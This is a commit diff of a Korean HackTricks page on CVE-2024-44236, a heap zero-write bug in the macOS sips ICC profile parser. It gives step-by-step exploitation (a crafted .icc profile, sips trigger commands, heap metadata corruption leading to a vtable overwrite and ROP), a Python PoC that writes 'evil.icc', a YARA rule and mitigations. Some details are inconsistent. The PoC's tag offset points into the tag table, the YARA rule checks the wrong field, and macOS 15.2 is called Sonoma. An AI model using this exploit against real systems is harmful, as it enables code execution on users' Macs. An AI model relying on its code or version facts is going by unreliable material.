mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips
This commit is contained in:
parent
7885b6647c
commit
af03d89797
@ -4,50 +4,94 @@
|
||||
|
||||
## 개요
|
||||
|
||||
Apple macOS Scriptable Image Processing System (`sips`) ICC 프로파일 파서에서 발생하는 경계 초과 쓰기 취약점 (macOS 15.0.1, sips-307)으로, `lutAToBType` (`mAB `) 및 `lutBToAType` (`mBA `) 태그의 `offsetToCLUT` 필드에 대한 부적절한 검증으로 인해 발생합니다. 조작된 ICC 파일은 힙 버퍼를 넘어 최대 16바이트까지 제로 쓰기를 유발하여 힙 메타데이터 또는 함수 포인터를 손상시키고 임의 코드 실행을 가능하게 합니다 (CVE-2024-44236).
|
||||
Apple macOS **Scriptable Image Processing System** (`sips`) ICC 프로파일 파서에서 발생하는 **제로 쓰기** 취약점 (macOS 15.0.1, `sips-307`)은 공격자가 힙 메타데이터를 손상시키고 원시를 전체 코드 실행으로 전환할 수 있게 합니다. 이 버그는 `lutAToBType` (`mAB `) 및 `lutBToAType` (`mBA `) 태그의 `offsetToCLUT` 필드 처리에 있습니다. 공격자가 `offsetToCLUT == tagDataSize`로 설정하면, 파서는 **힙 버퍼의 끝에서 16바이트를 지웁니다**. 힙 스프레이링을 통해 공격자는 할당자 구조체나 나중에 역참조될 C++ 포인터를 제로화할 수 있으며, 이는 **임의 쓰기-실행** 체인 (CVE-2024-44236, CVSS 7.8)을 생성합니다.
|
||||
|
||||
> Apple은 macOS Sonoma 15.2 / Ventura 14.7.1에서 이 버그를 패치했습니다 (2024년 10월 30일). 두 번째 변형 (CVE-2025-24185)은 2025년 4월 1일에 macOS 15.5 및 iOS/iPadOS 18.5에서 수정되었습니다.
|
||||
|
||||
## 취약한 코드
|
||||
|
||||
취약한 함수는 할당된 버퍼 내에 있는지 확인하지 않고 공격자가 제어하는 오프셋에서 시작하여 16바이트를 읽고 제로화합니다:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
|
||||
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
|
||||
buffer[i] = 0; // no bounds check vs allocated size!
|
||||
}
|
||||
```
|
||||
오직 `offsetToCLUT <= totalDataLength` 체크만 수행됩니다. `offsetToCLUT == tagDataSize`로 설정하면, 루프가 `buffer`의 끝에서 16바이트를 초과하여 인덱싱되어 인접한 힙 메타데이터가 손상됩니다.
|
||||
|
||||
## Exploitation Steps
|
||||
|
||||
1. **악성 `.icc` 프로파일 작성:**
|
||||
- 서명 `acsp`와 단일 `lutAToBType` 또는 `lutBToAType` 태그 항목으로 ICC 헤더(128바이트)를 빌드합니다.
|
||||
- 태그 테이블에서 `offsetToCLUT`를 태그의 `size`(`tagDataSize`)와 같게 설정합니다.
|
||||
- 힙 메타데이터를 덮어쓰도록 태그 데이터 블록 바로 뒤에 공격자가 제어하는 데이터를 배치합니다.
|
||||
2. **파싱 트리거:**
|
||||
1. **악성 `.icc` 프로파일 만들기**
|
||||
|
||||
* 최소한의 ICC 헤더(`acsp`)를 설정하고 하나의 `mAB ` (또는 `mBA `) 태그를 추가합니다.
|
||||
* 태그 테이블을 구성하여 **`offsetToCLUT`가 태그 크기(`tagDataSize`)와 같도록** 합니다.
|
||||
* 태그 바로 뒤에 공격자가 제어하는 데이터를 배치하여 16개의 제로 쓰기가 할당자 메타데이터와 겹치도록 합니다.
|
||||
|
||||
2. **프로파일을 건드리는 모든 sips 작업으로 파싱 트리거하기**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
# 검증 경로 (출력 파일 필요 없음)
|
||||
sips --verifyColor evil.icc
|
||||
# 또는 프로파일을 포함하는 이미지를 변환할 때 암묵적으로
|
||||
sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **힙 메타데이터 손상:** OOB 제로 쓰기가 할당자 메타데이터 또는 인접 포인터를 덮어써서 공격자가 제어 흐름을 탈취하고 `sips` 프로세스의 컨텍스트에서 임의 코드 실행을 달성할 수 있게 합니다.
|
||||
3. **힙 메타데이터 손상 ➜ 임의 쓰기 ➜ ROP**
|
||||
Apple의 기본 **`nano_zone` 할당자**에서 16바이트 슬롯의 메타데이터는 정렬된 0x1000 슬랩 **바로 뒤에** 위치합니다. 프로파일의 태그를 그러한 슬랩의 끝에 배치함으로써 16개의 제로 쓰기가 `meta->slot_B`를 덮어씁니다. 이후 `free`가 발생하면, 오염된 포인터가 작은 자유 목록에 큐에 추가되어 공격자가 **임의 주소에 가짜 객체를 할당하고 sips에서 사용되는 C++ vtable 포인터를 덮어쓸 수 있게** 하며, 결국 악성 ICC 버퍼에 저장된 ROP 체인으로 실행을 전환합니다.
|
||||
|
||||
### 빠른 PoC 생성기 (Python 3)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import struct, sys
|
||||
|
||||
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
|
||||
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
|
||||
profile = HDR
|
||||
profile += struct.pack('>I', len(TAGS)) # tag count
|
||||
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
|
||||
|
||||
mab = bytearray(52) # tag payload (52 bytes)
|
||||
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
|
||||
profile += mab
|
||||
|
||||
open('evil.icc', 'wb').write(profile)
|
||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||
```
|
||||
### YARA 탐지 규칙
|
||||
```yara
|
||||
rule ICC_mAB_offsetToCLUT_anomaly
|
||||
{
|
||||
meta:
|
||||
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
|
||||
author = "HackTricks"
|
||||
strings:
|
||||
$magic = { 61 63 73 70 } // 'acsp'
|
||||
$mab = { 6D 41 42 20 } // 'mAB '
|
||||
$mba = { 6D 42 41 20 } // 'mBA '
|
||||
condition:
|
||||
$magic at 0 and
|
||||
for any i in (0 .. 10): // up to 10 tags
|
||||
(
|
||||
($mab at 132 + 12*i or $mba at 132 + 12*i) and
|
||||
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
)
|
||||
}
|
||||
```
|
||||
## Impact
|
||||
|
||||
성공적인 악용은 취약한 `sips` 유틸리티가 실행되는 macOS 시스템에서 사용자 권한으로 원격 임의 코드 실행을 초래합니다.
|
||||
조작된 ICC 프로파일을 열거나 처리하면 호출하는 사용자의 컨텍스트에서 원격 **임의 코드 실행**이 발생하며(미리보기, QuickLook, Safari 이미지 렌더링, 메일 첨부파일 등), 프로파일이 그렇지 않은 무해한 이미지(PNG/JPEG/TIFF) 내부에 포함될 수 있기 때문에 Gatekeeper를 우회합니다.
|
||||
|
||||
## Detection
|
||||
## Detection & Mitigation
|
||||
|
||||
- 일반 프로토콜(FTP, HTTP/S, IMAP, SMB, NFS, SMTP)에서 파일 전송을 모니터링합니다.
|
||||
- 서명 `acsp`가 있는 전송된 파일을 검사합니다.
|
||||
- 각 `mAB ` 또는 `mBA ` 태그에 대해 `Offset to CLUT` 필드가 `Tag data size`와 같은지 확인합니다.
|
||||
- 이 조건이 충족되면 의심스러운 것으로 표시합니다.
|
||||
* **패치!** 호스트가 macOS ≥ 15.2 / 14.7.1 (또는 iOS/iPadOS ≥ 18.1)을 실행하고 있는지 확인하십시오.
|
||||
* 이메일 게이트웨이 및 EDR 솔루션에 위의 YARA 규칙을 배포하십시오.
|
||||
* 신뢰할 수 없는 파일을 추가로 처리하기 전에 `exiftool -icc_profile= -overwrite_original <file>`로 포함된 ICC 프로파일을 제거하거나 정리하십시오.
|
||||
* 미지의 콘텐츠를 분석할 때 샌드박스화된 “투명성 및 현대화” VM 내에서 미리보기/QuickLook을 강화하십시오.
|
||||
* DFIR의 경우, 통합 로그에서 샌드박스화된 앱에 의해 `sips --verifyColor` 또는 `ColorSync` 라이브러리 로드의 최근 실행을 찾으십시오.
|
||||
|
||||
## References
|
||||
|
||||
- ZDI 블로그: CVE-2024-44236: Apple macOS sips 유틸리티의 원격 코드 실행 취약점
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Apple 2024년 10월 보안 업데이트 (CVE-2024-44236 패치 포함)
|
||||
https://support.apple.com/en-us/121564
|
||||
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user